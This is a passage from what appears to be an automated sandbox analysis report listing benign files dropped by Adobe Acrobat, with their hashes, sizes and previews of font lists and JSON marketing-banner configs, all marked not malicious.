SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7512

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.376431500189458
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJM3g98kUwPeUkwRe9:YvXKXllQP7sdTeOGU7GMbLUkee9
MD5:	E0ADAAC886BEE246C8A6A269F75EF13B
SHA1:	5DBE7EFD88472C5C834E895A55703BE255A39073
SHA-256:	49D4D0B9F9F177ED9B95F4D92085FDC5758F1D0CE3827E3EE75A0FE010EBCBB7
SHA-512:	64BEB523592994C4791A7BD064D99198C7DF5D6B71F3D7A5FC2F7BB288802B422A6CCC3E7555A221FD8D0EF0465B8727F9CC466EBF5F1F3553176277AD478BBF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3145787834836735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJfBoTfXpnrPeUkwRe9:YvXKXllQP7sdTeOGU7GWTfXcUkee9
MD5:	D460432624D5E5E9EE316ACA71F1E1D3
SHA1:	1901D90F80B26FD49D4C23D7CB35DEFEF26AE094
SHA-256:	F8FC4921DF10C581F99B01BB5AC1B1E9FF5F88575448D472438CAFF7B5FEBE8B
SHA-512:	A4A1D82B8E29BF94992F1E79259397D9656F7FB52B8CE9BED22C5C9BDF6D95BE4FEB6F9EF3FBA8510CD8736B41911A7C18B9C44C0518496EB76063A3183E5C54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29346963609443
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJfBD2G6UpnrPeUkwRe9:YvXKXllQP7sdTeOGU7GR22cUkee9
MD5:	DD2A43556B09A9DEF26C00ECBADC7B9C
SHA1:	9695E08BF8910C18E55CAAB06507973C499C0F4F
SHA-256:	A019ED02B684F8237A88470B77FC1222F9B4EAB9CC1E42103E9EDD1831CF1038
SHA-512:	CE118FF29E5E2BB6DF3F4976EC788C2E9BD56409E8C8269B20D4C4C2A1D08CE1CF76D87AC823DC7063807AFF75CBF3E34CFD17EF93549D1BC08DD97565F8F0DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.363768333655582
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJfPmwrPeUkwRe9:YvXKXllQP7sdTeOGU7GH56Ukee9
MD5:	1C4ACEBA65BEF681A33CB318A2F7D8DD
SHA1:	AD0CB85CB9FF2842CA242DAFEE075580F1340DA5
SHA-256:	673B197B2BE4950CA61DA873F921522B3A3682BD7E4E48F3F044FBDAFA6680FD
SHA-512:	5483C8D545263FFEF852C6FEC4BD45B99079A3BDBE727037E58D5DD0D9202C0E9B2F354FB3F4B18FB5FB804F649D9760FDE0A9CEEB53B855EAEC57838B6AC356
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690298846714989
Encrypted:	false
SSDEEP:	24:Yv6XnQzmeOGUQpLgE9cQx8LennAvzBvkn0RCmK8czOCCS4:YvmQSe/Hhgy6SAFv5Ah8cv/4
MD5:	D0CA8D34240FFBA5247C603D382155E2
SHA1:	415EA30E04164E6A7A63899A78EBE093FB587E89
SHA-256:	2E68B43ED16D4B5B4963A23DFA4AFA6B999E08A343F01F440A37A6F32E37926F
SHA-512:	52BB675DB4A81F389840024BAB5967970D32431EA319DD0681E6D3DE6ACABB1715906D70D8A0B22C5F5B588CB6C46C4517AE2F121D8577EFAC3B1EF25E24F1C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3041866026318685
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJf8dPeUkwRe9:YvXKXllQP7sdTeOGU7GU8Ukee9
MD5:	FBAE5135DB91E8EB886A17F5AD6AFEA0
SHA1:	8271DF1499263C05DF486B77CC8E0AB355F159E4
SHA-256:	19126894556007E5A30A4613CF9599F6E44EA85DDD0FBE0950BB4D91A6FA11B9
SHA-512:	1B74B801984E4012F03BDFE0E6B347DAF3412969474200F71FB2F319694D6CFB253F85127D339D384CC675EEC1306F7FF30B3F481812FD4BEABA8DA6D560D252
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.308335024610843
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJfQ1rPeUkwRe9:YvXKXllQP7sdTeOGU7GY16Ukee9
MD5:	1E9BC531D6551E316C89999074F4D257
SHA1:	26C29B694DF19A26F6FEB4B1BB478DE7055D8393
SHA-256:	D13D5F2410CD2B32D5B13DACF0D7F00DF919FCC5763421605D4FC6618AF7AFF3
SHA-512:	A6EAA5F7F40FC9BD2504D2CEA1B9D5BE1156B871E80EFA02CF51127DAF2B16AB72D35A01C185BCD03B7D5E6B8EA40B0C8969CEEE5E3D6E5E291D73984C6ACD37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.32359712330466
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJfFldPeUkwRe9:YvXKXllQP7sdTeOGU7Gz8Ukee9
MD5:	3E2CB5112AAC88A10153FC6E38DDE69F
SHA1:	54FC5E998BD2CEAB1C88598A68A2EC6C06EC0B59
SHA-256:	EEE6542DB7808D8772E69AAD0255AA09B547C99B8A8AF7B5A5B7E5A03978A97C
SHA-512:	B55223E91E2C460A72B316D19AD23A7AF364064A40B37D6C678C27CF18A23AEA2C1324E57C7550AFC4F6230B123441DE1110CC193E36B87BF3E782BFD1A746E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.330080666791816
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJfzdPeUkwRe9:YvXKXllQP7sdTeOGU7Gb8Ukee9
MD5:	B74AB0751B18F21D7CD6B71D289082B6
SHA1:	4443584F3909797B72B37599C19A70DACBBAA366
SHA-256:	384640D5C0C9D628DFC5DE95D33B2657C906BA90D52D433C48258520342A2BC5
SHA-512:	C516EB52737FA4F26AC07088A6F2B9D2FF0DF0CB94AE5A0079C11F1879DFDFF7C761FA0C683E08AD32A86BBB1B2BC1FEF79ED3A99437FCDE3C9498B9CD34506C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310653090713565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJfYdPeUkwRe9:YvXKXllQP7sdTeOGU7Gg8Ukee9
MD5:	48B061693416BB5B10A6FDB8C255E9A9
SHA1:	F78D071C5244D1911FF72DE45EF0DF78ECFFDB84
SHA-256:	56BCE99C2F1496DF80415FABCA537AC7FEF1399D1CFA8CBA790C01B9A9FE7545
SHA-512:	3DF768913F5156D3D0269A1F562F08EEE5418B120F508E91D31D054CCB7DDE00E9D50C0BC40AA1ACFC7FF717EE7A9723877F23CA30E12D2094BBE7AF7F45E572
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.296573316417368
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJf+dPeUkwRe9:YvXKXllQP7sdTeOGU7G28Ukee9
MD5:	86222BA304A8E61CF25029438A1FE087
SHA1:	440EAD1F838C6AB87DEA3F1E00A45C8358D0BE5F
SHA-256:	7179E6C43170249EEC1624ACB5D0BE47BF487FD03F44C5C4B4283F6443203039
SHA-512:	C79BD96220FCF4073FD3DC6DDA3A1470D3AD428891A83269CE6298C247597A88FC7B392C1997C54F5A528F71E4724808F68AEB185F06F7EC63F5307DCE282E0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2941269712691215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJfbPtdPeUkwRe9:YvXKXllQP7sdTeOGU7GDV8Ukee9
MD5:	5C88F4BFCB38D3D3C8837016E8BBE10F
SHA1:	5A02CB3DEB09E898327A22C2DD416D817683369B
SHA-256:	9CF169A2D2EDB96F4E8278BA6D3EA57F406E3D276B63C04D6EBFC06050F0B93A
SHA-512:	F206A744A7D937A0F819B765BA3F687893D1933626C4A64F990475FC608E8C4CEEA3E4EDFE92C3F2F7BAEB088680AC03E4C459F38FD4777036981F65518AB6AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.298611497978508
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJf21rPeUkwRe9:YvXKXllQP7sdTeOGU7G+16Ukee9
MD5:	A2787E89DE6EBC07BC4679E47408BDB5
SHA1:	F1FE2E0D7698D9F868DFF329A05F4F11D7F39AC5
SHA-256:	574186DE714489C17B5C71731F881BE3F35DF645DF9DD7C486A4E2D3F59904C0
SHA-512:	D9AD49EDBD25B17AC2B40FDE5D1D43E7993AEAB3B70C3C4B48D91FFAA178229B49C77AC99C981B44A18986840580CE4B499C94B2095F36136C6D821F6BBDF3C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661457739040708
Encrypted:	false
SSDEEP:	24:Yv6XnQzmeOGUUamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS4:YvmQSe/XBgkDMUJUAh8cvM4
MD5:	3CD75A7F07AC13C34E1C1FADF06B1076
SHA1:	71C80C68E20EA38294F6B4F6E9EE881B1CF54475
SHA-256:	CB44D2FE82352A1E1D6D31CCA25FDD920CA9BA73281BABB37043284A928C89F0
SHA-512:	AC6C6F27FF3ABF1FBBF124BBE40208C9B23485A8850F78CC22272A7B4EB37627171FCA0A085F62EA5817567CFDE91536E7E13D986EDF740670069337373BA741
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.275008066265579
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJfshHHrPeUkwRe9:YvXKXllQP7sdTeOGU7GUUUkee9
MD5:	F4D8C9363B2BFD7EA06C3CFA3209A165
SHA1:	DA846BADC1EF493C95577AFF165783073E047AB7
SHA-256:	03D75CDE69D3E94583851798BF77CE54D5D585D8CC5C513CA5C5299DFF3532F3
SHA-512:	09500E9060D4BA055CA9ABE3806D62A03E15C3B3572239E0C9D85D97D94AC459C695E32B52593F219C662A451191429CADCB6A2E985571260D56044AA33A9D41
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2887541158616
Encrypted:	false
SSDEEP:	6:YEQXJ2HXl0f1aDM/HYWsGiIPEeOF0YmUQoAvJTqgFCrPeUkwRe9:YvXKXllQP7sdTeOGU7GTq16Ukee9
MD5:	4DEE93DCC2D6C45B7DFE4F8230AEBBB6
SHA1:	5AADB89C1EFA9FA221E550A30601B63A981E82EB
